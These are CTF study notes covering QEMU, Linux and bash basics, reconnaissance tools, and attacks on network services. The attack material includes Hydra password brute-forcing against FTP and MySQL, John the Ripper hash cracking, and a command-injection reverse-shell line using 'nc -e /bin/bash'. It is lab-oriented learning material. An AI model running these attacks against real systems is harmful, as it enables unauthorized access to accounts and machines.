CTF

Daniel Hiller

November 18, 2021

Contents

CTF

1 Introduction

1.1 Contributing

Found an error or have a suggestion? Please open an issue on GitHub (github.com/dentremor/Software-Defined-Infrastrucure):

Figure 1: QR code to source repository

1.2 License

Figure 2: AGPL-3.0 license badge

SPDX-License-Identifier: AGPL-3.0

2 VM

2.1 QEMU

To create a disk image run the following command:

```
qemu-img create -f qcow2 disk.qcow2 64G
```

The VM can be executed with a bash script (remove Image.iso with the distro image of your choice):

```
#!/bin/bash

qemu-system-x86_64 -enable-kvm -m 4096 -smp $(nproc) -cpu host -device ac97 -audiodev alsa,i
```

If you also have a 4k-panel, you probably will face some scaling issues like me. In that case make sure you use `Wayland` instead of `X11`.

3 Linux Basics

3.1 Basic Commands

Command	Description
`whoami`	Displays current username.
`wc`	print newline, word, and byte counts for each file.
`which`	Locate a command.
`id`	Returns users identity.
`hostname`	Sets or prints the name of current host system.
`uname`	Prints basic information about the operating system name and system hardware.
`pwd`	Returns working directory name.
`ifconfig`	The ifconfig utility is used to assign or to view an address to a network interface and/or configure network interface parameters.
`ip`	Ip is a utility to show or manipulate routing, network devices, interfaces and tunnels.
`netstat`	Shows network status.
`ss`	Another utility to investigate sockets.
`ps`	Shows process status.
`who`	Displays who are logged in.
`env`	Prints environment or sets and executes command.

Command	Description
`lsblk`	Lists block devices.
`lsusb`	Lists USB devices.
`lsof`	Lists opened files.
`lspci`	Lists PCI devices.

3.2 FIND

`find` search for files in a directory hierarchy:

```
$ find / -type f -name *.conf -user root -size +20k -newermt 2020-03-03 -exec ls -al {} \; 2
```

```
*(-type f               = defined the type of the searched object
  -name *.conf          = indicates the name of the object we are looking for
  -user root            = filters all files from a specific user
  -size +20k            = show only files which are larger than 20KiB
  -newermt 2020-03-03   = show only files newer than the specified date
  -exec ls -al {} \;    = this option executes the specified command
  -2>/dev/null          = this redirection ensures that no errors are displayed in the termi
```

3.3 Filter Content

`less` is file pager.

`sort` sort lines of text files.

`tr` translate or delete characters.

`column` columnate lists - to display results in tabular form use the flag `-t`.

`wc` print newline, word, and byte counts for each file - `-l` prints line counter

3.3.1 Grep

`grep` print lines matching a pattern. If we want to exclude a result we must use the `-v` flag.

3.3.2 Cut

`cut` remove sections from each line of files.

```
$ cat /etc/passwd | grep -v "false\|nologin" | cut -d":" -f1
```

```
*(-d ":"     = Sets a delimiter at the character `:`
  -f1        = Selects only this field in our case the first one)
```

3.4 Locate

`locate` - find files by name

Update the database for `locate`:

```
$ sudo updatedb
```

Search for all files that end with `.conf`

```
$ locate *.conf
```

3.5 File Descriptors

1. Data Stream for Input

- STDIN - 0

2. Data Stream for Output

- STDOUT - 1

3. Data Stream for Output that relates to an error occurring.

- STDERR – 2

If we want to discard for example all errors and redirect the data into a file we can use:

```
$ find /etc/ -name shadow 2> stderr.txt 1> stdout.txt
```

4 Bash Scripting

If we want to execute a bash script we can do this by the following command:

```
$ <interpreter> script.sh <optional arguments>
```

Run a bash script with persistent permissions (`-p`):

```
$ ./bashscript -p
```

In the first line we can specify the interpreter but if we call the script with another one, the defined in the `shebang` will be ignored:

```
#!/bin/bash
```

This is also possible with other scripting languages like Python `#!/usr/bin/env python`. ### Conditional Execution

The rough basic structure is as follows:

```
if [[ -z "$string" ]]; then
  echo "String is empty"
elif [[ -n "$string" ]]; then
```

```
  echo "String is not empty"
fi
```

4.0.1 Operators

String comparison operators "`<` / `>`" **works only** within the double square brackets `[[ <condition> ]]`.

Command	Description
`[[ -z STRING ]]`	Empty string
`[[ -n STRING ]]`	Not empty string
`[[ STRING == STRING ]]`	Equal
`[[ STRING != STRING ]]`	Not Equal
`[[ NUM -eq NUM ]]`	Equal
`[[ NUM -ne NUM ]]`	Not equal
`[[ NUM -lt NUM ]]`	Less than
`[[ NUM -le NUM ]]`	Less than or equal
`[[ NUM -gt NUM ]]`	Greater than
`[[ NUM -ge NUM ]]`	Greater than or equal
`[[ -o noclobber ]]`	If OPTIONNAME is enabled
`[[ ! EXPR ]]`	Not
`[[ X && Y ]]`	And
`[[ X || Y ]]`	Or
`[[ STRING =~ STRING ]]`	Regexp
`(( NUM < NUM ))`	Numeric conditions

4.0.2 File Operators

Command	Description
`[[ -e FILE ]]`	Exists
`[[ -r FILE ]]`	Readable
`[[ -h FILE ]]`	Symlink
`[[ -d FILE ]]`	Directory
`[[ -w FILE ]]`	Writable
`[[ -s FILE ]]`	Size is > 0 bytes
`[[ -f FILE ]]`	File
`[[ -x FILE ]]`	Executable
`[[ FILE1 -nt FILE2 ]]`	1 is more recent than 2
`[[ FILE1 -ot FILE2 ]]`	2 is more recent than 1
`[[ FILE1 -ef FILE2 ]]`	Same files

4.1 Arguments

It is possible to pass up to 9 arguments (`$0`-`$9`) to a script:

```
            $ ./script.sh ARG1 ARG2 ARG3 ... ARG9
ASSIGNMENTS:       $0      $1   $2   $3 ...   $9
```

4.2 Special Variables

Command	Description
`$#`	This variable holds the number of arguments passed to the script.
`$@`	This variable can be used to retrieve the list of command-line arguments.
`$n`	Each command-line argument can be selectively retrieved using its position. For example, the first argument is found at `$1`.
`$$`	The process ID of the currently executing process.
`$?`	The exit status of the script. This variable is useful to determine a command's success. The value 0 represents successful execution, while 1 is a result of a failure.

4.3 Variables

It is important that when assigning a variable there is **no space** around the equal sign:

```
variable="test"
```

4.4 Arrays

The values in the array are separated by spaces. If we want to escape these spaces, we can use single quotes (`'…'`) or double quotes (`"…"`).

```
#!/bin/bash

domains=(www.inlanefreight.com ftp.inlanefreight.com vpn.inlanefreight.com www2.inlanefreigh

echo ${domains[0]}
```

4.5 Arithmetic

Operator	Description
`+`	Addition

Operator	Description
-	Subtraction
*	Division
%	Modulus
variable++	Increase the value of the variable by 1
variable--	Decrease the value of the variable by 1

We can also calculate the length of the variable. Using this function `${#variable}`, every character gets counted, and we get the total number of characters in the variable.

4.6 Input Control

Read input from the user, while the script is running:

```
read -p "Select your option: " opt
```

```
*(-p    = Ensures that our input remains on the same line
  opt   = The input will be stored in the variable opt)
```

4.7 Output Control

In some cases the scripts take longer time and the user don't have any feedback. To solve this problem we can use `tee`, which enables us to write something to a file and also returning it as standard output:

```
netrange=$(whois $ip | grep "NetRange\|CIDR" | tee -a CIDR.txt)
```

```
*(-a   = Append to the given FILEs, do not overwrite)
```

4.8 Loops

4.8.1 For Loops

The idea behind for loops is that we iterate over something, or we have a limit how often the loop should run.

Syntax - Examples

```
for $variable in 1 2 3 4
do
    echo $variable
done
```

```
for $variable in file1 file2 file3
do
    echo $variable
```

```
done


for ip in "10.10.10.170 10.10.10.174 10.10.10.175"
do
    ping -c 1 $ip
done
```

4.8.2 While Loops

The while loop will be executed as long the condition is fulfilled. There are two keywords available which gives us more control over the while loop.

- `break` → Interrupts the loop
- `continue` → Immediately continues with the next loop run

Syntax - Examples

```
#!/bin/bash

counter=0

while [ $counter -lt 10 ]
do
  # Increase $counter by 1
  ((counter++))
  echo "Counter: $counter"

  if [ $counter == 2 ]
  then
    continue
  elif [ $counter == 4 ]
  then
    break
  fi
done
```

4.8.3 Until Loops

Nevertheless, the until loop works precisely like the while loop, but with the difference:

- The code inside an until loop is executed as long as the particular condition is false

4.9 Switch case

The keyword for a switch-case-statement starts with the keyword `case`, followed by the variable or value as an expression, which is then compared in the pattern. If the variable or value matches the expression, then the statements are executed after the parenthesis and ended with a double semicolon (`;;`).

Syntax - Examples

```
read -p "Select your option: " opt

case $opt in
    "1") network_range ;;
    "2") ping_host ;;
    "3") network_range && ping_host ;;
    "*") exit 0 ;;
esac
```

4.10 Functions

The definition of a function is at the beginning of a bash script this ensures that it is already defined before it is called.

Syntax - Examples

```
# Method 1 - Functions

function name {
    <commands>
}

# Method 2 - Functions

name() {
    <commands>
}
```

The function is called only by calling the specified name of the function.

4.10.1 Parameter Passing

In principle, the same applies to the passed parameters as to parameters passed to a shell script. These are `$1 - $9` (`${n}`), or `$variable` as we have already seen. Each function has its own set of parameters. So they do not collide with those of other functions or the parameters of the shell script

Syntax - Examples

```
#!/bin/bash
```

```
function print_pars {
    echo $1 $2 $3
}

one="First parameter"
two="Second parameter"
three="Third parameter"

print_pars "$one" "$two" "$three"
```

4.10.2 Return Values

Like our bash script, the functions return status codes:

Return Code	Description
`1`	General errors
`2`	Misuse of shell builtins
`126`	Command invoked cannot execute
`127`	Command not found
`128`	Invalid argument to exit
`128+n`	Fatal error signal "`n`"
`130`	Script terminated by Control-C
`255\*`	Exit status out of range

To get the value of a function back, we can use several methods like `return`, `echo`, or a `variable`.

Syntax - Examples

```
#!/bin/bash

function given_args {

        if [ $# -lt 1 ]
        then
                echo -e "Number of arguments: $#"
                return 1
        else
                echo -e "Number of arguments: $#"
                return 0
        fi
}

# No arguments given
given_args
echo -e "Function status code: $?\n"
```

```
# One argument given
given_args "argument"
echo -e "Function status code: $?\n"

# Pass the results of the funtion into a variable
content=$(given_args "argument")

echo -e "Content of the variable: \n\t$content"
```

4.11 Debugging

Bash allows us to debug our code by using the "`-x`" (`xtrace`) and "`-v`" (`verbose`) options.

4.12 Cheat Sheet

For more information about bash scripting have a look in the following cheat sheet: https://devhints.io/bash

5 Information Gathering

5.1 Passive Information Gathering

`whois` can be used for querying domain names, IP addresses, or autonomous systems.

5.1.1 DIG

`dig` is a DNS lookup utility.

`WaybackMachine` is an American digital library that provides free public access to digitalized materials, including websites, collected automatically via its web crawlers.

```
$ dig any google.com @8.8.8.8
```

```
*(any         = query all types of records
  @8.8.8.8    = define a dns server from which you wnat to retrieve the information)
```

5.1.2 Project Sonar

To find all available subdomains we can use `Project Sonar`:

```
$ curl -s https://sonar.omnisint.io/subdomains/$TARGET | jq -r '.[]' | sort -u
```

5.1.3 Certificates

To gain more information we can search for certificates at sites like `https://crt.sh` and `https://search.censys.io/certificates`.

5.2 Active Information Gathering

`Wappalyzer` is a browser extension which finds out what technologies are used on a website.

`WAFW00F` is a Web Application Firewall Fingerprinting Tool.

`Aquatone` is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.

5.2.1 HTTP Header

We can gain information about the version of the web server and the operating system with the curl flag `-I` which returns us the `http header`:

```
$ curl -I "http://${TARGET}"
```

`X-Powered-By header` can tell us what the web app is using. We can see values like PHP, ASP.NET, JSP, etc.

`Cookies` are another value to look at as each technology by default has its cookies. Some default cookie values are:

- .NET: ASPSESSIONID=
- PHP: PHPSESSID=
- JAVA: JSESSION=

5.2.2 WhatWeb

`WhatWeb` is a Web scanner - identify technologies used by websites.

```
$ whatweb -a 1 https://www.facebook.com -v
```

```
*(-a    = Set the aggression level. 1(low) - 4(high)
  -v    = verbose)
```

6 Exploiting Network Services

6.1 GitHub Repos

SecLists: https://github.com/danielmiessler/SecLists

6.2 SSH

Authenticate via ssh with the key-file `id_rsa`:

```
$ ssh -i id_rsa user@10.10.10.10
```

```
*(-i [file]  = Identity file)
```

6.3 NMAP

Checks open ports in defined range and check running services with `Nmap`:

```
$ nmap 10.10.221.8 -sV -p 0-60000
```

```
*(-p-  = Scans the whole portrange
  -p   = Specific port or portrange
  -sV  = Attempts to determine the version of the service running on port
  -A   = Enables OS detection, version detection, script scanning and traceroute)
```

6.4 FTP

Download a File from an FTP-Server with `Wget`:

```
$ wget -m ftp://user:password@ftp.example.com
```

```
*(-m = --mirror)
```

6.4.1 Hydra

Use `Hydra` for cracking password in our example on an FTP-Service:

```
$ hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
```

```
*(-t 4      = Number of parallel connections per target
  -l [user] = Points to the user who's account you're trying to compromise
  -P [file] = Points to the file containing the list of possible passwords
  -vV       = Very verbose: shows the login+pass combination for each attempt
  [IP]      = The IP address of the target machine
  [ftp]     = Sets the protocol)
```

6.5 NFS

List name or `NFS` shares:

```
$ /usr/sbin/showmount -e [IP]
```

```
*(-e    = Shows the NSF server's export list
  [IP]  = The IP Address of the NFS server)
```

Connect `NFS` share with mount point on our machine:

```
$ sudo mount -t nfs IP:share /tmp/mount/ -nolock
```

```
*(-t nfs    = Type of device to mount, then specifying that it's NFS
  IP:share  = The IP Address of the NFS server, and the name of the share we wish to mount
  -nolock   = Specifies not to use NLM locking)
```

6.6 SMTP

There are three relevant commands, when it comes to `SMTP`:

```
(VRFY    = Confirming the names of valid users
 EXPN    = Reveals the actual address of user's aliases and lists of e-mail (mailing lists)
 RCPT TO = Specifies the e-mail address of the recipient)
```

6.7 Metasploit

```
*(search [name]                = Search for a module and his description
  use [name]                   = Selects a module by name
  options                      = When a module is selected we will see the options of the m
  set [option] [parameter]     = Set a specific option with a specific parameter
  run                          = Run the exploit)
```

For further information see the following documentation: https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/

6.8 MySQL

First we need a client, which is in our case `default-mysql-client`:

```
$ mysql -h [IP] -u [username] -p
```

```
*(-h [IP]        = Connect to the MariaDB server on the given host
  -u [username]  = The MariaDB user name to use when connecting to the server
  -p             = The password to use when connecting to the server)
```

If we do not have any credentials we can use `Nmap` or `Metasplot` to gain this information:

```
```bash
$ nmap --script=mysql-enum [target]
```

```
*(--script=mysql-enum          = Scan with a single script: mysql-enum
  [target]                     = The IP address of the target)
```

Now that we know some usernames of the database, we can try to crack the passwords of them with `Hydra`:

```
hydra -t 16 -l root -P /usr/share/wordlists/rockyou.txt -vV 10.10.6.199 mysql
```

```
*(-t 16     = Number of parallel connections per target
  -l [user] = Points to the user who's account you're trying to compromise
  -P [file] = Points to the file containing the list of possible passwords
  -vV       = Very verbose: shows the login+pass combination for each attempt
```
```

```
  [IP]      = The IP address of the target machine
  [mysql]   = Sets the protocol)
```

6.9 John the Ripper

If we have a hash which look something like the following example:

```
carl:*EA031893AA21444B170FC2162A56978B8CEECE18
```

We can pipe the hash in a file:

```
$ echo carl:*EA031893AA21444B170FC2162A56978B8CEECE18 > hash.txt
```

And crack the password with `John the Ripper`:

```
$ john hash.txt
$ john --show --format=RAW-MD5 hash.txt
```

```
*(--show            = show cracked passwords
  --format=<param>  = force hash type: descrypt, bsdicrypt, md5crypt, RAW-MD5, bcrypt, LM, A
```

7 Web Fundamentals

7.1 Curl

If we want to get sources of a webpage, we can do this with `Curl`:

```
$ curl -X GET http://10.10.4.59:8081/ctf/post
```

```
*(-X [GET]          = Set kind of fetch
  [target]          = The URL of the webpage we want to fetch
  -d [param]        = Sends the specified data in a POST  request  to  the HTTP server)
```

`CEWL` password list generator.

`WPSCAN` scans the Word Press version.

`Gobuster` is a tool used to brute-force URIs including directories and files as well as DNS subdomains.

`DIRB` is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects.

7.2 Reverse Shell

```
$ ;nc -e /bin/bash
```

For more information checkout the following GitHub repo: https://github.com/swisskyrepo/PayloadsAllTheTh

If you gain access depending on the OS you can try the following commands to get more information: >Linux

```
$ whoami
$ id
$ ifconfig/ip addr
$ uname -a                  # print system information
$ ps -ef                    # -e = select all processes  -f = do full-format listing
$ less /etc/passwd          # usernames with UID, GID, GECOS, home directory and login she
$ cut -d: -f1 /etc/passwd   # only usernames
$ cat /etc/os-release       # Get inforamtion about the OS and the OS version
```

Windows

```
$ whoami
$ ver
$ ipconfig
$ tasklist
$ netstat -an
```